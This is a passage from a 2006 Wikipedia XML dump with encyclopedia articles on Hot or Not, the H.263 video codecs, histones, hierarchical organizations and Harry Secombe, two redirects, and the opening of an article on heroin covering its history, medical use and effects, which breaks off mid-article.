[[de:Haber-Bosch-Verfahren]]
[[es:Proceso de Haber]]
[[fr:Procédé de Haber]]
[[io:Haber-procedo]]
[[nl:Haber-Boschproces]]
[[pt:Processo de Haber]]</text>
    </revision>
  </page>
  <page>
    <title>Hot or Not</title>
    <id>14023</id>
    <revision>
      <id>37942593</id>
      <timestamp>2006-02-03T02:46:37Z</timestamp>
      <contributor>
        <username>Moncrief</username>
        <id>28065</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Hot or Not''' is a [[website]] that allows users to rate the attractiveness of [[photo]]s submitted voluntarily by others.  Photos are approved by volunteer moderators, who strive to keep the site &quot;fun, clean, and real.&quot;

Founded in [[October 2000]] by two [[Silicon Valley]]-based engineers, James Hong and Jim Young, the site was originally called '''Am I Hot or Not''', and quickly became very popular. The site allowed people to submit their pictures, and visitors would rate them on a scale of one (not) to ten (hot).

Within a week of launching, the site had reached the level of serving almost two million page views per day. Within a few months, the site had penetrated the [[NetNielsen Rating]]'s Top 25 advertising domains, placed immediately behind [[CNET]] and [[NBCi]].

In order to keep up with rising costs, Hong and Young added a [[matchmaking]] component to their website called &quot;Meet Me at Hot or Not&quot;, i.e. a system of [[range voting]].

==Imitators==
Hot or Not was originally preceded by the popular [http://RateMyFace.com RateMyFace.com], which was launched a year earlier in the summer of [[1999]], although Hot or Not would eventually become a more popular website. Since then, Hot or Not has spawned many imitators. Imitators have even taken the concept as far as rating Network Diagrams [http://www.ratemynetworkdiagram.com RateMyNetworkDiagram.com] and the female breast [http://www.getyourboobsout.com GetYourBoobsOut.com] to grading ambiguously pornographic images on [http://pornornot.net PornOrNot.net]. The concept always remains the same, but the subject matter varies greatly.

===Rating distribution===
A comparison of the original hotornot.com and others, such as the German [http://www.hotornot.de hotornot.de], revealed a large difference in average ratings between the sites. One possible cause of this difference is that the [[algorithm]] used to keep track of scores on hotornot.com contains a [[bias term]] to effectively 'overrate' all participants, with most pictures rated 7 or above. However, the more likely reason is that hotornot.com only show pictures of people who continue to check their scores, suggesting that those who have higher ratings return to the site more frequently than those with low scores.

==External links==
* [http://www.hotornot.com Hot or Not website]
* [http://dmoz.org/Recreation/Picture_Ratings/ A list of picture rating sites at dmoz.org]

[[Category:Entertainment websites]]
[[Category:Sexuality and society]]

[[sv:HOT or NOT]]</text>
    </revision>
  </page>
  <page>
    <title>H.263</title>
    <id>14024</id>
    <revision>
      <id>40364314</id>
      <timestamp>2006-02-20T01:57:38Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''H.263''' is a [[video codec]] designed by the [[ITU-T]] as a low-bitrate encoding solution for [[videoconferencing]].  It was first designed to be utilized in [[H.324]] based systems ([[Public Switched Telephone Network|PSTN]] and other [[Circuit switching|circuit-switched]] network videoconferencing and videotelephony), but has since found use in [[H.323]] ([[Real-time Transport Protocol|RTP]]/IP-based videoconferencing), [[H.320]] ([[Integrated Services Digital Network|ISDN]]-based videoconferencing), [[RTSP]] ([[streaming media]]) and [[SIP]] (Internet conferencing) solutions as well.

H.263 was developed as an evolutionary improvement based on experience from [[H.261]], the previous ITU-T standard for video compression, and the [[MPEG-1]] and [[MPEG-2]] standards.  Its first version was completed in 1995 and provided a suitable replacement for [[H.261]] at all bitrates.  It was further enhanced in projects known as [[H.263v2]] (a.k.a. H.263+ or H.263 1998) and H.263v3 (a.k.a. H.263++ or H.263 2000).

The next enhanced codec developed by the [[ITU-T]] (in partnership with [[MPEG]]) after H.263 is the [[H.264/MPEG-4 AVC|H.264]] standard, also known as AVC and [[MPEG-4]] part 10.  As H.264 provides a significant improvement in capability beyond H.263, the H.263 standard is now considered primarily a legacy design (although this is a recent development).  Most new videoconferencing products now include H.264 as well as H.263 and H.261 capabilities.

==External links==
*  [http://www.ietf.org/html.charters/avt-charter.html IETF AVT Working Group] - Group that reviews codec packetizations for [[Real-time_Transport_Protocol|RTP]]
**  [http://www.ietf.org/rfc/rfc2190.txt  RTP Payload Format for H.263 Video Streams (RFC 2190)]
**  [http://www.ietf.org/rfc/rfc2429.txt RTP Payload Format for the 1998 Version of ITU-T Rec. H.263 Video (H.263+) (RFC 2429)]
*  [http://www.itu.int/itudoc/itu-t/rec/h/ Find H.263 specification on ITU website]
*  [http://support.intel.com/support/createshare/camerapack/CODINSTL.HTM Intel's H.263 codec installer for Windows]
* [http://members.aol.com/SlavTrainr/STsPage.html I263 video codec]
* [http://www4.informatik.uni-erlangen.de/Projects/ScalVico/vic/ H.263 implementation in vic (source code available)]
* [http://www.video-demystified.com/ Video Demystified] - Book which includes info about H.263
* [http://www.compression-links.info/H.261_H.263 List of H.261-H.263 resources]

[[Category:Video codecs]]
[[Category:ITU-T recommendations]]

[[fr:H.263]]
[[ja:H.263]]
[[de:H.263]]
[[ru:H.263]]
[[zh:H.263]]</text>
    </revision>
  </page>
  <page>
    <title>H.263v2</title>
    <id>14025</id>
    <revision>
      <id>15911606</id>
      <timestamp>2005-06-24T11:53:54Z</timestamp>
      <contributor>
        <username>Isnow</username>
        <id>180201</id>
      </contributor>
      <minor />
      <comment>+zh</comment>
      <text xml:space="preserve">'''H.263v2''' (also known as '''H.263+''' or as the 1998 version of H.263) is the informal name of the second edition of the ITU-T [[H.263]] international video coding standard. It retains the entire technical content of the original version of the standard, but enhances H.263 capabilities by adding several annexes which substantially improve encoding efficiency and provide other capabilities (such as enhanced robustness against data loss in the transmission channel).  The H.263+ project was completed in late 1997 or early 1998 (depending on what is considered completion), and was then followed by an &quot;H.263++&quot; project that added a few more enhancements in late 2000.  See the [[H.263]] page for more details.

[[Category:Video codecs]]
[[Category:ITU-T recommendations]]

[[zh:H.263v2]]</text>
    </revision>
  </page>
  <page>
    <title>House of Orange</title>
    <id>14026</id>
    <revision>
      <id>15911607</id>
      <timestamp>2005-01-07T19:00:19Z</timestamp>
      <contributor>
        <username>Eugene van der Pijll</username>
        <id>22016</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Prince of Orange]]</text>
    </revision>
  </page>
  <page>
    <title>Hierarchical relationship</title>
    <id>14027</id>
    <revision>
      <id>15911608</id>
      <timestamp>2005-04-03T05:21:07Z</timestamp>
      <contributor>
        <username>Oleg Alexandrov</username>
        <id>153314</id>
      </contributor>
      <comment>#redirect [[Binary relation]]</comment>
      <text xml:space="preserve">#redirect [[Binary relation]]</text>
    </revision>
  </page>
  <page>
    <title>Histone</title>
    <id>14029</id>
    <revision>
      <id>40609008</id>
      <timestamp>2006-02-21T20:24:04Z</timestamp>
      <contributor>
        <ip>82.117.212.65</ip>
      </contributor>
      <text xml:space="preserve">In [[biology]], '''histones''' are the chief [[protein]]s of [[chromatin]]. They act as spools around which [[DNA]] winds and they play a role in [[gene regulation]]. Histones are found in the [[nucleus (biology)|nuclei]] of [[eukaryote|eukaryotic]] [[cell (biology)|cells]]. [[Bacteria]] do not have histones, but histones are found in certain [[Archaea]], namely [[Euryarchaea]].  These archaeal histones may well resemble the evolutionary precursors to the eukaryotic histones.

==Classes==
Six histone classes are known:
*[[Histone H1|H1]] (sometimes called the linker histone or [[H5]].)
*[[H2A]]
*[[H2B]]
*[[Histone H3|H3]]
*[[Histone H4|H4]]
*Archaeal histones

Two each of the class H2A, H2B, H3 and H4 assemble to form one octameric [[nucleosome]] core particle by wrapping 146 [[base pairs]] of DNA around the protein spool in 1.65 left-handed super-helical turn.  The linker histone H1 binds the nucleosome and the entry and exit sites of the DNA, thus locking the DNA into place and allowing the formation of higher order structure.  The most basic such formation is the 10 nm fiber or beads on a string conformation.  This involves the wrapping of DNA around nucleosomes with approximately 50 base pairs of [[DNA]] spaced between each [[nucleosome]] (also referred to as linker [[DNA]]).  Higher order structures include the 30 nm fiber (forming an irregular zigzag) and 100 nm fiber, these being the structures found in normal cells.  During meiosis, through the combination of nucleosome interactions with other proteins, the [[chromosome]] is assembled.  The assembled histones and [[DNA]] is called [[chromatin]].

==Structure==
[[Image:Nucleosome_structure.png|thumb|Schematic representation of the assembly of the core histones into the nucleosome.]]

The nucleosome core is formed of two H2A-H2B [[dimers]] and two H3-H4 dimers, forming two nearly [[symmetry|symmetrical]] halves by [[tertiary structure]] ([[Point_groups_in_three_dimensions|C2]] symmetry; one [[macromolecule]] is the mirror image of the other).  The H2A-H2B and H3-H4 dimers themselves also show pseudodyad symmetry.

The 4 'core' histones (H2A, H2B, H3 and H4) are relatively similar in structure and are highly conserved through [[evolution]], all featuring a 'helix turn helix turn helix' motif (which allows the easy dimerisation).  They also share the feature of long 'tails' on one end of the [[amino acid]] structure - this being the location of post-transcriptional modification (see below).

In all, histones make five types of interactions with DNA:

# Helix-dipoles from [[alpha helix|alpha-helices]] in H2B, H3, and H4 cause a net positive charge to accumulate at the point of interaction with negatively charged [[phosphate]] groups on DNA.
# [[Hydrogen bonds]] between the DNA backbone and the amine group on the main chain of histone proteins.
# Nonpolar interactions between the histone and [[deoxyribose]] sugars on DNA.
# Salt links and hydrogen bonds between side chains of basic amino acids (especially [[lysine]] and [[arginine]]) and phosphate oxygens on DNA.
# Non-specific minor groove insertions of the H3 and H2B N-terminal tails into two minor grooves each on the DNA molecule.

The highly basic nature of histones, aside from facilitating DNA-histone interactions, contributes to the water solubility of histones.

Histones are subject to posttranslational modification by enzymes primarily on their N-terminal tails, but also in their globular domains. Such modifications include [[methylation]], [[acetylation]], [[phosphorylation]], [[ubiquitin|ubiquitination]], and [[Adenosine diphosphate|ADP]]-ribosylation. This affects their function of gene regulation (see functions).

In general, [[gene]]s that are active have less bound histone, while inactive genes are highly associated with histones during [[interphase]].  It also appears that the structure of histones have been [[evolution]]arily conserved, as any deleterious [[mutations]] would be severely maladaptive.

==Functions==
===Packing proteins===
Histones act as spools around which DNA winds.  This enables the compaction necessary to fit the large [[genome]]s of eukaryotes inside cell nuclei: the compacted molecule is 50,000 times shorter than an unpacked molecule.  

===Histone modfications in [[chromatin]] regulation===
Histones undergo [[posttranslational modification]]s which alter their interaction with [[DNA]] and nuclear proteins. The H3 and H4 histones have long tails protruding from the nucleosome which can be [[covalent]]ly modified at several places. Modifications of the tail include [[methyl]]ation, [[acetyl]]ation and [[phosphorylation]]. The core of the histones (H2A and H3) can also be modified.
Combinations of modifications are thought to constitute a code, the so-called &quot;histone code&quot;. Histone modifications act in diverse biological processes such as [[gene regulation]], [[DNA repair]] and chromosome condensation ([[mitosis]]).

The common nomeclature of histone modifications is as follows:
#The name of the histone (''e.g'' H3)
#The single letter [[amino acid]] abbreviation (''e.g.'' K for [[Lysine]]) and the amino acid position in the protein
#The type of modification (Me: [[methyl]], P: [[phosphate]], Ac: [[acetyl]], Ub: [[ubiquitin]])

So H3K4Me denotes the methylation of H3 on the 4th lysine from the start ([[N-terminal]]) of the protein.

(See also [[Histone methyltransferase]], [[Histone acetyltransferase]])

For a detailed example of histone modifications in [[transcription (genetics)|transcription]] regulation see [[RNA polymerase control by chromatin structure]].

==History==
Histones were discovered in 1884 by [[Albrecht Kossel]].  The word &quot;histone&quot; dates from the late [[19th century]] and is from the German &quot;Histon&quot;, of uncertain origin: perhaps from Greek ''histanai'' or from ''histos''.
Until the early 1990s, histones were dismissed as merely packing material for nuclear DNA. During the early 1990s, the regulatory functions of histones were discovered.

==See also==
*[[Gene silencing]]
*[[Genetics]]
*[[Histone deacetylase]]
*[[Chromatin]]

[[Category:Genetics]]
[[Category:Proteins]]

[[ca:Histona]]
[[cs:Histon]]
[[da:Histon]]
[[de:Histon]]
[[es:Histona]]
[[fr:Histone]]
[[it:Istone]]
[[he:היסטון]]
[[hu:Hiszton]]
[[nl:Histonen]]
[[ja:ヒストン]]
[[pl:Histony]]
[[pt:Histona]]
[[ru:Гистоны]]
[[fi:Histoni]]
[[sv:Histon]]
[[lt:Histonas]]
[[sr:хистон]]</text>
    </revision>
  </page>
  <page>
    <title>Hierarchical organization</title>
    <id>14031</id>
    <revision>
      <id>39305027</id>
      <timestamp>2006-02-12T05:42:43Z</timestamp>
      <contributor>
        <ip>71.198.223.240</ip>
      </contributor>
      <comment>/* Criticism and alternatives */</comment>
      <text xml:space="preserve">{{expert}}

A '''hierarchical organization''' is an [[organization]] structured in a way such that every entity in the organization, except one, is [[subordinate]] to a single other entity.  This is the dominant mode of organization among large organizations; most corporations, governments, and organized religions are hierarchical organizations. 

[[Hierarchy]] originally meant &quot;rule by priests&quot;, and it is from the organization of hierarchical churches such as the Roman Catholic and Eastern Orthodox churches, that the name of this concept arises.  In these organizations, the [[pope]] or [[patriarch]] was the highest visible part of the hierarchy, with God as the nominal top of the hierarchy.

The modern sense of the word came about as a result of the hierarchical way in which the Roman Catholic and Eastern Orthodox churches were organized.  It may be useful to visualize a [[pyramid]]al '''power structure''', those nearest the top have more power than those nearest the bottom, and there being fewer people at the top then at the bottom. As a result, superiors in a hierarchy generally have higher status and command greater rewards than their subordinates.

All governments and most companies have similar structures. Traditionally, the [[monarch]] was the pinnacle of the [[state]]. In many countries, [[feudalism]] and [[manorialism]] provided a formal social structure that established hierarchical links at every level of society, with the monarch at the top. 

In modern post-feudal states the nominal top of the hierarchy still remains the [[head of state]], which may be a [[president]] or a [[constitutional monarch]], although in many modern states the powers of the head of state are to one degree or another delegated among different bodies; commonly a [[senate]], [[parliament]] or [[congress]], which in turn often delegate the day-to-day running of the country to a [[prime minister]]. In many [[democracies]], the people are considered to be the notional top of the hierarchy, over the head of state; in reality, the people's power is restricted to voting in elections.

In business, the business owner traditionally occupied the pinnacle of the organization. In most modern large companies, there is now no longer a single dominant shareholder, and the collective power of the business owners is for most purposes delegated to a [[board of directors]], which in turn delegates the day-to-day running of the company to a [[managing director]] or [[CEO]]. Again, although the shareholders of the company are the nominal top of the hierarchy, in reality many companies are run at least in part as personal fiefdoms by their management; [[corporate governance]] rules are an attempt to mitigate this tendency.

Members of hierarchical organizational structures chiefly communicate with their immediate superior and with their immediate subordinates. Structuring organizations in this way is useful partly because it can reduce the communication overhead by limiting information flow; this is also its major limitation.

Not all organizations have this structure.  The opposite extreme is described as &quot;flat&quot; or &quot;single-level&quot;.

== Studies of hierarchical organizations ==

The [[organizational development]] theorist [[Elliott Jacques]] identified a special role for hierarchy in his concept of [[requisite organization]].

The [[iron law of oligarchy]], introduced by [[Robert Michels]], describes the inevitable tendency of hierarchial organizations to become [[oligarchy|oligarchic]] in their decision making.

[[Hierarchiology]] is the term coined by Dr. Laurence J. Peter, originator of the [[Peter principle|Peter Principle]], to refer to the study of hierarchical organizations and the behavior of their members.

==Criticism and alternatives==

In the work of diverse theorists such as [[William James]] (1842-1910), [[Michel Foucault]] (1926-1984) and [[Hayden White]], important critiques of hierarchical epistemology are advanced. James famously asserts in his work &quot;Radical Empiricism&quot; that clear distinctions of type and category are a constant but unwritten goal of scientific reasoning, so that when they are discovered, success is declared. But if aspects of the world are organized differently, involving inherent and intractable ambiguities, then scientific questions are often considered unresolved. A hesitation to declare success upon the discovery of ambiguities leaves heterarchy at an artificial and subjective disadvantage in the scope of human knowledge. This bias is an artifact of an aesthetic or pedagogical preference for hierarchy, and not necessarily an expression of objective observation.

Hierarchies and hierarchical thinking has been criticized by many people, including [[Susan McClary]] and one branch of political philosophy which is vehemently opposed to hierarchical organisation: the [[libertarian socialism|libertarian socialist]] branch of [[anarchism]] is generally opposed to hierarchical organization in any form of human relations.

== See also ==
* ''[[The Nature of the Firm]]''
* [[Reverse hierarchy]]
* [[Corporate governance]]
* [[Social hierarchy]]

[[Category:Management]]
[[Category:Government]]
[[Category:Corporate governance]]
[[Category:Sociology]]
[[Category:Hierarchy]]

[[fr:Structure du pouvoir]]</text>
    </revision>
  </page>
  <page>
    <title>Harry Secombe</title>
    <id>14033</id>
    <revision>
      <id>41502882</id>
      <timestamp>2006-02-27T20:25:26Z</timestamp>
      <contributor>
        <username>Ian Pitchford</username>
        <id>230605</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">'''Sir Harry Donald Secombe [[Order of the British Empire|CBE]]''' ([[8 September]] [[1921]]&amp;ndash;[[11 April]] [[2001]]) was a [[Wales|Welsh]] entertainer, a noted fine [[tenor]] singing voice and a talent for [[comedy]]. Born at [[St.Thomas, Swansea|St. Thomas]], [[Swansea]] {{mn|Swansea|1}}, he was one of the original [[Goons]], appearing in the [[radio]] series as Neddie (Harry) Seagoon, the protagonist of the show's ridiculous plots. He had first met [[Spike Milligan]], the founder of the series, during [[army]] service in [[World War II]] in [[North Africa]]. He shared his birthday, [[8 September]], with the other member of the [[trio]], [[Peter Sellers]].

Secombe appeared in many stage [[Musical theater|musicals]], including ''[[The Pickwick Papers|Pickwick]]'' ([[1963]]) and ''[[The Four Musketeers]]'' ([[1967]]), and had several chart successes, the song most associated with him being &quot;[[If I Ruled the World]]&quot; (from ''[[Pickwick]]'').  He also appeared as Mr. Bumble in [[Carol Reed]]'s [[film]] of [[Lionel Bart]]'s ''[[Oliver!]]'' ([[1968]]).  

Later in life, Secombe (whose brother was a [[vicar]]) attracted new audiences as a presenter of religious programmes, such as the [[BBC]]'s ''[[Songs of Praise]]'' and [[ITV]]'s ''[[Highway (television programme)|Highway]]''.    

He was knighted in [[1981]], and jokingly referred to himself as Sir Cumference (in recognition of his rotund figure).

Secombe suffered a [[stroke]] in [[1997]], from which he made a slow recovery, only to be diagnosed with [[prostate cancer]] the following September. After suffering a second stroke in [[1999]], he was forced to abandon his [[television]] career, but made a documentary about his condition in the hope of giving encouragement to other sufferers.{{mn|stroke|2}}

Secombe and his wife, Myra Atherton, had four children: 
*Jennifer Secombe, married to actor [[Alex Giannini]]
*[[Andy Secombe]], an accomplished [[voice actor|voice]] and [[film]] [[actor]], as well as an [[author]]
*David Secombe, a writer and photographer
*Katy Secombe, an actress{{mn|children|3}}

He died at the age of 79, from [[cancer]], at his home in [[England]].

==Singles==
*''[[On with the Motley]]'' ([[1955]]) UK #16
*''[[If I Ruled the World]]'' ([[1963]]) UK #18
*''[[This Is My Song (1967 song)|This Is My Song]]'' ([[1967]]) UK #2 {{mn|singles|4}}

==Albums==
* ''Sacred Songs'' (1962) UK #16
* ''Secombe's Personal Choice'' (1967) UK #6
* ''If I Ruled the World'' (1971) UK #17
* ''20 Songs of Joy'' (1978) UK #8 {{mn|Albums|5}}

== References ==
*{{mnb|Swansea|1}} {{Web reference | title=Sir Harry Secombe - Swansea celebrity | url=http://www.explore-gower.co.uk/swansea/harrysecombe.html | date=2006-02-12 }}
*{{mnb|Stroke|2}} {{Web reference | title=Television Heaven: Harry Secombe | url=http://www.televisionheaven.co.uk/hissecombe.htm | date=2006-01-02 }}
*{{mnb|Children|3}} {{Web reference | title=Sir Harry Secombe - Swansea celebrity | url=http://www.explore-gower.co.uk/swansea/harrysecombe.html | date=2006-02-12 }}
*{{mnb|Singles|4}} ''[[Guinness Book of British Hit Singles]]'' 7th Edition
*{{mnb|Albums|5}} ''Guinness Book of British Hit Albums'' 1st Edition

==External links==
{{Wikiquote}}
*{{imdb name|id=0781183|name=Harry Secombe}}
*[http://www.harrysecombe.co.uk/ The Harry Secombe Tribute Site]
*[http://www.smas.me.uk/ The Spike Milligan Appreciation Society]
*[http://www.explore-gower.co.uk/swansea/harrysecombe.html Sir Harry Secombe - Swansea celebrity]

[[Category:1921 births|Secombe, Harry]]
[[Category:2001 deaths|Secombe, Harry]]
[[Category:British comedians|Secombe, Harry]]
[[Category:Commanders of the British Empire|Secombe, Harry]]
[[Category:Film actors|Secombe, Harry]]
[[Category:Musical theatre actors|Secombe]]
[[Category:Natives of Swansea|Secombe, Harry]]
[[Category:Radio actors|Secombe, Harry]]
[[Category:Television actors|Secombe, Harry]]
[[Category:Welsh comedians|Secombe, Harry]]
[[Category:Welsh male singers|Secombe, Harry]]

[[cy:Harry Secombe]]
[[de:Harry Secombe]]</text>
    </revision>
  </page>
  <page>
    <title>Heroin</title>
    <id>14034</id>
    <revision>
      <id>42051377</id>
      <timestamp>2006-03-03T13:38:07Z</timestamp>
      <contributor>
        <username>Sarah Ewart</username>
        <id>430123</id>
      </contributor>
      <comment>Revert to revision 41885417 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{dablink|This is an article about the drug; for the [[Hardcore Emo]] band, see [[Heroin (band)]]}}
:''For a female hero, see [[Heroine]]''
:''For the Velvet Underground song, see [[Heroin (song)]]''
{| id=&quot;synChemInfoBox&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;250px&quot; style=&quot;border-collapse: collapse; margin: 0 0 0 0.5em&quot;
|-
| bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
[[Image:Heroin5.png|240px|Diamorphine chemical structure]]&lt;br/&gt;
''Diacetylmorphine''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | [[IUPAC nomenclature|IUPAC]] name: &lt;br /&gt;
''(5&amp;alpha;,6&amp;alpha;)-7,8-didehydro-4,5-epoxy-&lt;br&gt;17-methylmorphinan-3,6-diol diacetate (ester)''
|- align=&quot;center&quot; style=&quot;border-bottom: 3px solid gray&quot;
| '''[[CAS number]]''' &lt;br/&gt; 561-27-3
| '''[[ATC code]]'''   &lt;br/&gt; N02AA09
|-
| bgcolor=&quot;#eeeeee&quot; | [[Chemical formula]]
| bgcolor=&quot;#ddeeff&quot; | [[Carbon|C]]&lt;sub&gt;21&lt;/sub&gt;[[Hydrogen|H]]&lt;sub&gt;23&lt;/sub&gt;[[Nitrogen|N]][[Oxygen|O]]&lt;sub&gt;5&lt;/sub&gt;
|-
| bgcolor=&quot;#eeeeee&quot; | [[Molecular weight]]
| bgcolor=&quot;#ddeeff&quot; | 369.42
|-
| bgcolor=&quot;#eeeeee&quot; | [[Bioavailability]]
| bgcolor=&quot;#ddeeff&quot; | &lt;35%
|-
| bgcolor=&quot;#eeeeee&quot; | Metabolism
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[half life|Elimination half life]]
| bgcolor=&quot;#ddeeff&quot; | 3 minutes
|-
| bgcolor=&quot;#eeeeee&quot; | [[Excretion]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[Pregnancy category (pharmaceutical)|Pregnancy category]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[Controlled Substance Act|Legal status]]
| bgcolor=&quot;#ddeeff&quot; | Schedule I ([[USA]]); [[Class A drug|Class A]] ([[UK]])
|-
| bgcolor=&quot;#eeeeee&quot; | Delivery
| bgcolor=&quot;#ddeeff&quot; | [[Vaporizer|Vaporized]], [[insufflate]]d, [[injection (medicine)|injected]], [[ingest]]ed
|-
|}
'''Heroin''' or '''diacetylmorphine''' ([[International Nonproprietary Name|INN]]) is a semi-synthetic opioid. It is the 3,6-[[acetate|diacetyl]] derivative of [[morphine]] (hence ''diacetylmorphine'') and is synthesised from it by [[acetylation]]. The white crystalline form is commonly the hydrochloride salt, '''diacetylmorphine hydrochloride'''. It is highly [[Addiction|addictive]] when compared to other substances, although occasional use without symptoms of withdrawal has been noted. Heroin is controlled under Schedules I and IV of the [[Single Convention on Narcotic Drugs]] [http://www.incb.org/pdf/e/list/yellow.pdf]. It is illegal to manufacture, possess, or sell heroin in the [[United States]], but diamorphine (heroin) is a legal prescription drug in the [[United Kingdom]]. A few of the popular [[List_of_street_names_of_drugs#Heroin|street names for heroin]] include ''[[dope]]'', ''[[diesel]]'', ''[[smack]]'' and ''H''.
&lt;!--
Please do not add more names to the above short list (which came from www.erowid.org) - consider adding to &quot;List of street names of drugs&quot; article instead
--&gt;

==History==
&lt;div style=&quot;float:left;width:200px;&quot;&gt;
[[image:BayerHeroin.png|thumb|left|[[Bayer]] Heroin (TM)]]
[[Image:Bayer Heroin bottle.jpg|thumb|left|Bayer Heroin bottle.]]
&lt;/div&gt;
Heroin was first [[Chemical synthesis|synthesized]] in [[1874]] by C.R. Alder Wright, a [[United Kingdom|British]] [[chemist]] working at [[St Mary's Hospital (London)|St. Mary's Hospital]] Medical School, [[London]]. He had been experimenting with combining morphine with various acids. He boiled anhydrous morphine alkaloid with acetic anhydride over a stove for several hours and produced a more potent, acetylated form of morphine. We now call it  ''diacetylmorphine''. The compound was sent to F.M. Pierce of Owens College, [[Manchester]], for analysis. He reported the following to Wright:

:''Doses &amp;hellip; were [[Route of administration|subcutaneously injected]] into young dogs and rabbits &amp;hellip; with the following general results &amp;hellip; great prostration, fear, and sleepiness speedily following the administration, the eyes being sensitive, and pupils dilated, considerable salivation being produced in dogs, and slight tendency to vomiting in some cases, but no actual emesis. Respiration was at first quickened, but subsequently reduced, and the heart's action was diminished, and rendered irregular. Marked want of coordinating power over the muscular movements, and loss of power in the pelvis and hind limbs, together with a diminution of temperature in the rectum of about 4°(rectal failure)'' [http://adhpage.dilaudid.net/heroin.html]

[[Heinrich Dreser]], of [[Bayer]] in [[Elberfeld, Germany]], noticed that diacetylmorphine was more potent than morphine. Bayer registered ''Heroin'' (meaning 'heroic treatment' from the German word ''heroisch'') as a [[trademark]].  From [[1898]] through to [[1910]] it was marketed as a non-addictive morphine substitute and cough medicine for children. As with [[Aspirin]], Bayer lost some of its trademark rights to Heroin following [[World War I]].

In [[1914]] the [[Harrison Narcotics Tax Act]] made it illegal to manufacture or possess heroin in the [[United States]].

==Usage and effects==
{| bgcolor=&quot;#ffffff&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;167px&quot; style=&quot;border-collapse: collapse; clear: right; margin: 0 0 0 0.5em&quot;
|-
|'''Indicated for:'''&lt;br/&gt;
*Relief of extreme pain

'''[[Recreational drug use|Recreational]] uses:'''&lt;br/&gt;
*[[Euphoria]]
*[[Relaxation]]

'''Other uses:'''&lt;br/&gt;
*[[Pain]] relief
*[[Cough suppressant]]
*anti-[[diarrhea]]l
|-
|'''[[Contraindication]]s:'''&lt;br/&gt;
*[[Ethanol|Alcohol]]
*[[Barbiturate]]s
*[[Stimulant]]s
*Other [[opioid]]s
|-
|'''[[Side effect]]s:'''
&lt;div style=&quot;background: #ffcc99&quot;&gt;
'''''{{red|Severe:}}'''''
*[[Respiratory arrest]]
*[[Spontaneous abortion]]

&lt;/div&gt;

'''''Atypical [[sensation]]s:'''''
*?

'''''[[Cardiovascular]]:'''''
*Lowered [[heart rate]]
*Infection of [[heart]] lining and [[valve]]s (chronic use)

'''''[[Ear]], [[nose]], and [[throat]]:'''''
*Dry mouth

'''''[[Endocrinal]]:'''''
*?

'''''[[Eye]]:'''''
*[[Pupil constriction]]

'''''[[Gastrointestinal]]:'''''
*[[Nausea]]
*[[Constipation]]

'''''[[Hepatological]]:'''''
*[[Liver disease]] (chronic use)

'''''[[Hematological]]:'''''
*?

'''''[[Muscle|Musculo]][[skeletal]]:'''''
*?

'''''[[Neurological]]:'''''
*[[Analgesia]]

'''''[[Psychological]]:'''''
*[[Confusion]]
*[[Euphoria]]
*[[Sedation]]

'''''[[Respiration (physiology)|Respiratory]]:'''''
*Slow respiration
*Shallow respiration
*[[Pneumonia]] (chronic use)

'''''[[Skin]]:'''''
*Itchiness
*Flushing
*[[Abscess]]es

'''''Miscellaneous:'''''
*Heavy extremities
|}

In the [[United States]], heroin is a [[Schedule I]] drug and is illegal for any purpose. In the [[United Kingdom]] heroin is available on prescription, though it is a restricted [[Class A drug]]. According to the [[British National Formulary]] edition 50, diamorphine [[hydrochloride]] may be used in the treatment of acute pain, [[myocardial infarction]], acute [[Pulmonary edema|pulmonary oedema]], and [[chronic pain]]. The treatment of chronic non-[[malignant]] pain must be supervised by a specialist. The BNF notes that all opioid analgesics cause dependence and tolerance but that this is &quot;no deterrent in the control of pain in terminal illness&quot;. When used in the [[palliative care]] of cancer patients, heroin is often injected using a [[syringe driver]]. In comparison to morphine, it may cause less [[nausea]] and [[hypotension]] and can be dissolved in a smaller quantity of liquid. 

The late [[serial killer]] and [[general practitioner]] [[Harold Shipman]] obtained large quantities of diamorphine by writing prescriptions for his cancer patients and keeping the drugs. Shipman was convicted of killing 15 patients with diamorphine, though an enquiry later estimated 340 were murdered.

Heroin is also widely and illegally used as a powerful and [[addictive]] drug producing intense [[euphoria]], which often disappears with increasing [[Physiological tolerance|tolerance]]. Although many other &amp;#956;-opioid agonists (e.g., [[morphine]]) can produce essentially the same effects, it is thought that heroin's popularity with recreational users comes from its especially rapid onset. This in turn comes from its high lipid [[solubility]] provided by the two [[acetyl]] groups, resulting in a very rapid penetration of the [[blood-brain barrier]] after use. Heroin can be taken or [[route of administration|administered]] in a number of ways, including [[snort]]ing it, and [[injection (medicine)|injecting]] it. It may also be smoked by inhaling the vapors produced when heated from below (known as &quot;chasing the dragon&quot;). Once in the brain, heroin is rapidly [[metabolism|metabolized]] into morphine by removal of the acetyl groups. It is the morphine [[molecule]] which then binds with opioid receptors and produces the subjective effects of the heroin high. Heroin is therefore a [[prodrug]]. The onset of effects from heroin is dependent on the method of administration. Orally the heroin is totally metabolized [[in vivo]] into [[morphine]] before crossing the blood-brain barrier, so the effects are the same as [[morphine]] when taken by mouth. Snorting heroin results in onset within 10 to 15 minutes. Smoking heroin results in a [[rush]] within 2-5 minutes. Injecting heroin [[intravenously]] results in rush and euphoria within 7 to 8 seconds, while injecting heroin [[intramuscularly]] takes longer, having an effect within 5 to 8 minutes.

